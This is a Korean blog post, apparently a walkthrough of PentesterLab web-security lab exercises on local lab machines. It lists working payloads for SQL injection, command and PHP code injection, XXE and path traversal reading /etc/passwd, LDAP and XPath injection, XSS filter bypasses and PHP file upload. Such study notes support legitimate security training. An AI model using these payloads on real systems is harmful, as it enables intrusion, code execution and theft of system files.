웹/웹 보안

PentesterLab 1

비니화이팅 2020. 3. 6. 17:32



SQL Injection

    

Example 1 (STRING TYPE-MAKE IT TRUE)

http://192.168.30.129/sqli/example1.php?name=root


PoC

http://192.168.30.129/sqli/example1.php?name=root' or '1'='1

http://192.168.30.129/sqli/example1.php?name=root' or 1=1-- -

http://192.168.30.129/sqli/example1.php?name=root' or 1=1%23


주석 필터링 우회

%23 : # 


MySQL 주석

1. #

2. --  (뒤에 공백이 있어야 주석으로 동작함)

3. /**/




Example 2 (ERROR NO SPACE-MAKE IT TRUE)

http://192.168.30.129/sqli/example2.php?name=root


PoC

http://192.168.30.129/sqli/example2.php?name=root'%0aor%0a'1'='1

http://192.168.30.129/sqli/example2.php?name=root'%09or%09'1'='1


공백 필터링 우회

%09 : Tab 

%0a : Line Feed




Example 3 (ERROR NO SPACE-MAKE IT TRUE)

http://192.168.30.129/sqli/example3.php?name=root


PoC

http://192.168.30.129/sqli/example3.php?name=root'/**/or/**/'1'='1


공백 필터링 우회

/**/ : 컴파일시 공백으로 바뀜




Example 4 (INTEGER TYPE-MAKE IT TRUE)

http://192.168.30.129/sqli/example4.php?id=2


PoC

http://192.168.30.129/sqli/example4.php?id=2 or 1=1

http://192.168.30.129/sqli/example4.php?id=2 or '1'='1'    (mysql_real_escape_string함수 사용)


mysql_real_escape_string()

\x00 , \n , \r , \, ', ", \ x1a 문자 앞에 이스케이프(백 슬래시)를 추가하는 함수임




Example 5,6 (INTEGER TYPE-MAKE IT TRUE)

http://192.168.30.129/sqli/example5.php?id=2


PoC

http://192.168.30.129/sqli/example5.php?id=2 or 1=1

http://192.168.30.129/sqli/example5.php?id=2 or '1'='1'




Example 7 (ERROR INTEGER REQUIRED-MAKE IT TRUE)

http://192.168.30.129/sqli/example7.php?id=2


PoC

http://192.168.30.129/sqli/example7.php?id=2%0a or 1=1

http://192.168.30.129/sqli/example7.php?id=2%0a or '1'='1'

http://192.168.30.129/sqli/example7.php?id=2 or %0a1=%0a1

http://192.168.30.129/sqli/example7.php?id=2 or 1=%0a1


%0a

행을 나누는 기준이 됨


정규식 필터링 우회

숫자형인지 여부를 정규식으로 검사할때 Multi Line(m) 플래그를 사용하면 한 행에만 숫자가 포함되어있는지 확인하기 때문에 우회가 가능함




Example 8 (SORT)

http://192.168.30.129/sqli/example8.php?order=name


PoC

http://192.168.30.129/sqli/example8.php?order=name` DESC -- -


ORDER BY 구문

 order by 구문은 컬렴명만 지정해주거나 `로 컬럼명을 묶어쓰는 2가지 방법으로 사용함





Example 9 (SORT)

http://192.168.30.129/sqli/example9.php?order=name


PoC

http://192.168.30.129/sqli/example9.php?order=IF(1,name,age)


IF 문

if (조건문, 참일때 반환 값, 거짓일때 반환 값)


의문

order=age와 order=IF(1,age,name) 둘 다 결과는 age인데 왜 아래와 같이 정렬되는 기준이 다를까?

http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt


해결

문자열이 반환되었기 때문에 int형으로 캐스팅해주면 됨






File Include

 

Example 1 (OPEN /etc/passwd)

http://192.168.30.131/fileincl/example1.php?page=intro.php


poc

http://192.168.30.131/fileincl/example1.php?page=../../../../etc/passwd



Example 2 (OPEN /etc/passwd)

http://192.168.30.131/fileincl/example2.php?page=intro


Hint


poc

http://192.168.30.131/fileincl/example2.php?page=../../../../etc/passwd%00


널 바이트 인젝션

널 바이트(%00)는 C언어에서 문자열의 끝을 나타냄. 이를 이용하여 특정 확장자를 숨길 수 있음






LDAP attack

 

LDAP(Lightweight Directory Access Protocol)

디렉터리 데이터베이스에 접속하기 위한 통신규약

디렉터리 정보 등록, 갱신, 삭제, 검색 실행 가능함

네트워크 상의 파일이나 장치들과 같은 자원들의 위치를 찾을 수 있게 해주는 프로토콜임

통신망을 이용한 이용자 메일 주소나 이용자의 정보를 검색하는데 주로 사용됨


사용자 -- LDAP Server -- DataBase




Example 1 (AUTHENTICATE)

http://192.168.30.131/ldap/example1.php?username=hacker&password=hacker


poc

http://192.168.30.131/ldap/example1.php


Null bind authentication

아이디와 비밀번호를 NULL로 전송시 Anonymous bind로 인식함




Example 2 (AUTHENTICATE)

http://192.168.30.131/ldap/example2.php?name=hacker&password=hacker


poc

http://192.168.30.131/ldap/example2.php?name=hacker)(cn=*))%00&password=aaaa


code

$pass = "{MD5}" . base64_encode ( pack ( "H*" , md5 ( $_GET [ 'password' ])));

$filter = "(&(cn=" . $_GET [ 'name' ] . ")(userPassword=" . $pass . "))" ;


Normal result

1. $filter = "(&(cn=hacker)(userPassword=hacker))" ;

2. $filter = ( "cn = hacker & userPassword =hacker") ;

Injection result

$filter = "(&(cn=hacker)(cn=*))%00)(userPassword=aaaa))" ;

=> $filter = "(&(cn=hacker)(cn=*))" ;






Commands injection

 

Example 1 (RUN THE COMMAND)

http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1


poc

http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1 | cat /etc/passwd

http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1;cat /etc/passwd

http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1 %26%26 cat /etc/passwd

http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1%0acat /etc/passwd


& 필터링 우회

%26 : &


%0a (Line Feed)

다음줄에 명령어가 들어가도록 하여 수행시킬 수 있음




Example 2 (RUN THE COMMAND)

http://192.168.30.131/commandexec/example2.php?ip=127.0.0.1


Hint

poc

http://192.168.30.131/commandexec/example2.php?ip=127.0.0.1%0acat /etc/passwd

( 엄밀히 따지면 Example 1과는 다르게 정규식 우회 용도로 사용)

 


Example 3 (RUN THE COMMAND)

http://192.168.30.131/commandexec/example3.php?ip=127.0.0.1


poc

nc(Linux) : echo -e "GET /commandexec/example3.php?ip=127.0.0.1;cat%09/etc/passwd" | nc 192.168.30.131 80

소스코드에서 브라우저가 리디렉션 되어도 실행 흐름을 중지시키지 않기 때문에 첫 번재 응답 페이지를 읽기 위해 nc, telnet같은 프로그램을 이용함






XML attack

 

Example 1 (XXE Injection-LFI)

http://192.168.30.131/xml/example1.php?xml=<test>hacker</test>


Hint


poc

http://192.168.128.136/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E

URL Decode : http://192.168.30.131/xml/example1.php?xml=<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>


code

  $xml=simplexml_load_string($_GET['xml']);

  print_r((string)$xml);




Example 2 (Xpath Injection)

http://192.168.30.131/xml/example2.php?name=hacker


poc

http://192.168.128.136/xml/example2.php?name=' or 1=1]%00

code
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  }

normal Injection code
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='hacker']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  }

Xpath Injection code
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='' or 1=1]%00']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  }

simplexml_load_string()
문자열로부터 XML 데이터를 읽는데 사용함.

xpath()
조건에 맞는 노드를 시퀀스 형태로 반환함.





XSS

 

Example 1 (Reflected XSS)

http://192.168.30.131/xss/example1.php?name=hacker


poc

http://192.168.30.131/xss/example1.php?name=<script>alert('test');</script>




Example 2 (preg_replace()-Reflected XSS)

http://192.168.30.131/xss/example2.php?name=hacker


Hint


poc

http://192.168.30.131/xss/example2.php?name=<SCRIPT>alert('test');</SCRIPT>

http://192.168.30.131/xss/example2.php?name=<scr<script>ipt>alert("test")</scr</script>ipt>


code
$name =  $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
preg_replace()
 특정 패턴(정규식)을 찾아서 다른 패턴(정규식)으로 바꿔주는 함수임



Example 3 (preg_replace()-Reflected XSS)

http://192.168.30.131/xss/example3.php?name=hacker


poc

http://192.168.30.131/xss/example3.php?name=<scr<script>ipt>alert("test")</scr</script>ipt>


code

$name =  $_GET["name"];

$name = preg_replace("/<script>/i","", $name);

$name = preg_replace("/<\/script>/i","", $name);

i (Ignore Case) 플래그

문자열의 대소문자를 구별하지 않음




Example 4 (div,img-Reflected XSS)

http://192.168.30.131/xss/example4.php?name=hacker


Hint


poc

http://192.168.30.131/xss/example4.php?name=<div onmouseover="alert('test')" />
http://192.168.30.131/xss/example4.php?name=<img src="xx" onerror="alert('test')"/>

<div> 태그
가상의 레이아웃을 설계하는 태그임

<img> 태그
이미지를 삽입하는 태그임

onmouseover 속성
마우스 포인터가 요소 안으로 들어올때 발생하는 이벤트임

onerror 속성
이미지 로드시 오류가 발생하는 경우 실행할 스크립트임

src 속성
이미지 경로를 지정함
code
if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
preg_match()

특정 패턴에 매칭되면 1, 실패하면 0이 반환되는 함수 




Example 5 (eval,confirm-Reflected XSS)

http://192.168.30.131/xss/example5.php?name=hacker


Hint


poc

http://192.168.30.131/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 116, 101, 115, 116, 39, 41))</script>

http://192.168.30.131/xss/example5.php?name=<script>confirm('test')</script>


eval()

문자열을 자바스크립트 코드로 인식하게 하는 함수임


String.fromCharCode()

아스키코드를 받아 문자열을 구성해주는 함수임


confirm()

참인지 거짓인지를 구분하는 메시지를 출력하는 함수임

확인을 누르면 true를 반환, 취소를 누르면 false를 반환함




Example 6 (Reflected XSS)

http://192.168.30.131/xss/example6.php?name=hacker


poc

http://192.168.30.131/xss/example6.php?name=";alert("test");//

code
<script>
  var $a= "<?php  echo $_GET["name"]; ?>";
</script>

normal result
<script>
  var $a= "<?php  echo hacker; ?>";
</script>

xss result
<script>
  var $a= "<?php  echo ";alert("test");//; ?>";
</script>



Example 7 (Reflected XSS)

http://192.168.30.131/xss/example7.php?name=hacker


poc

http://192.168.30.131/xss/example7.php?name=';alert('test');//

code
<script>
  var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

normal result
<script>
  var $a= '<?php  echo hacker ?>';
</script>

xss result
<script>
  var $a= '<?php  echo ';alert("test");//; ?>";
</script>
htmlentities()

html 엔터티로 문자열을 바꿔줌

싱글쿼터는 바꾸지 않음




Example 8 (Reflected XSS)

http://192.168.30.131/xss/example8.php

poc

http://192.168.30.131/xss/example8.php/" onmouseover="alert('test')

code
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

normal result
<form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

xss code
<form action="192.168.30.131/xss/example8.php/" onmouseover="alert('test')" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
'PHP_SELF'
페이지 스스로의 URL을 의미함



Example 9 (hash(#)-DOM XSS)

http://192.168.30.131/xss/example9.php#hacker


poc

http://192.168.30.131/xss/example9.php#<script>alert('test')</script>


code

<script>

document.write(location.hash.substring(1));

</script>

URL에 있는 #의미

URL에서 #뒤에 있는 문자열을 Client Side(자바스크립트)로 가져옴

localhost/test.php#hello 라면 #hello가 반환됨


substring(start index, end index)

start index부터 end index까지 문자열을 잘라 반환함






Code injection

 

Example 1

http://192.168.30.131/codeexec/example1.php?name=hacker


Hint


poc

http://192.168.30.131/codeexec/example1.php?name=hacker%22.system(%27pwd%27)%3B%23
URL Decode : http://192.168.30.131/codeexec/example1.php?name=hacker".system('pwd');#

code
$str="echo \"Hello ".$_GET['name']."!!!\";";
 eval($str);

normal code
$str="echo \"Hello ".hacker."!!!\";";
 eval($str);

injection code
$str="echo \"Hello ".hacker".system('pwd');#."!!!\";";
 eval($str);
php에서의 .의 의미
문자열을 합치는 역할을 함

의문

a가 왜 두번 출력될까?




Example 2

http://192.168.30.131/codeexec/example2.php?order=id


poc

http://192.168.30.131/codeexec/example2.php?order=id)%3B}system(%27pwd%27)%3B%23
URL Decode : http://192.168.30.131/codeexec/example2.php?order=id);}system('pwd');#

code
$sql = "SELECT * FROM users ";

$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
}
normal code


injection code

mysql_query()
쿼리문을 실행하여 성공하면 1 또는 리소스, 실패하면 0을 반환하는 함수임

mysql_fetch_assoc()
mysql_query()를 통해 반환된 리소스에서 결과행을 연관 배열로 가져오는 함수임
가져오는 행에 해당하는 연관배열을 반환하고 포인터를 앞으로 이동함
가져올 행이 없는 경우 False를 반환함

usort()
사용자 정의 비교 함수를 사용하여 배열을 값으로 정렬하는 함수임

create_function()



Example 3

http://192.168.30.131/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer


poc

http://192.168.30.131/codeexec/example3.php?new=system('uname%20-a')&pattern=/lamer/e&base=Hello lamer
URL Decode : http://192.168.79.162/codeexec/example3.php?new=system('uname -a')&pattern=/lamer/e&base=Hello lamer



Example 4

http://192.168.30.131/codeexec/example4.php?name=hacker


poc

http://192.168.30.131/codeexec/example4.php?name=hacker'.system('pwd').'





File Upload

 

Example 1


poc

Step 1) test.php 파일을 생성함


Step 2) test.php 파일을 업로드함


Step 3) 업로드된 경로가 출력됨


Step 4) 업로드된 test.php파일을 실행함




Example 2


Hint


poc

Step 1) test.php 파일을 생성함


Step 2) 확장자를 대문자(PHP)로 변경하여 업로드함 / 확장자를 php3로 변경하여 업로드함

  

 

Step 3) 업로드된 경로가 출력됨


Step 4) 업로드된 test.php파일을 실행함






Directory traversal

 

Example 1

http://192.168.30.131/dirtrav/example1.php?file=hacker.png


poc

http://192.168.30.131/dirtrav/example1.php?file=../../../etc/passwd




Example 2

http://192.168.30.131/dirtrav/example2.php?file=/var/www/files/hacker.png


poc

http://192.168.30.131/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd



Example 3

http://192.168.30.131/dirtrav/example3.php?file=hacker


poc

http://192.168.30.131/dirtrav/example3.php?file=../../../etc/passwd%00






[참고]

asciitable.com

regexr.com

convertstring.com

freeformatter.com/xpath-tester.html


 

  

     : 의문점


     : 모르는 문제